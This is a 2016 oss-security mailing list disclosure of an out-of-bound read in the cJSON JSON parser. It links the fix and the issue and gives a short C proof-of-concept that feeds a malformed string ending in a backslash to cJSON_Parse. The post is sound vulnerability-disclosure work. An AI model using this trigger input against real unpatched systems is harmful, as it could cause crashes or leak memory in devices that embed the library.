oss-security - cJSON buffer out of bound read

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Message-ID: <CAFkTriK94p6uR1j3fznZpOXVa+vOa7tLSvSMgGEDSgin7_bhMg@mail.gmail.com>
Date: Sun, 2 Oct 2016 20:06:25 +0800
From: Marco Grassi <marco.gra@...il.com>
To: oss-security@...ts.openwall.com
Cc: cve-assign@...re.org
Subject: cJSON buffer out of bound read

Hi,

I would like to report a buffer out of bound read problem in cJSON, which
is a embeddable JSON parser, used (I imagine) in embedded devices, or even
bigger stuff like the ps4 (
http://doc.dl.playstation.net/doc/ps4-oss/cjson.html).

patch:
https://github.com/DaveGamble/cJSON/commit/94df772485c92866ca417d92137747b2e3b0a917

issue:
https://github.com/DaveGamble/cJSON/issues/30

Poc with the malformed string

#include <stdio.h>
#include <stdint.h>
#include <fcntl.h>
#include "cJSON.h"

static const char *my_json = "\"000000000000000000\\";

int main(int argc, const char * argv[]) {
    cJSON * root = cJSON_Parse(my_json);
    char * rendered = cJSON_Print(root);
    printf("%s\n", rendered);
    return 0;
}

thanks

Marco

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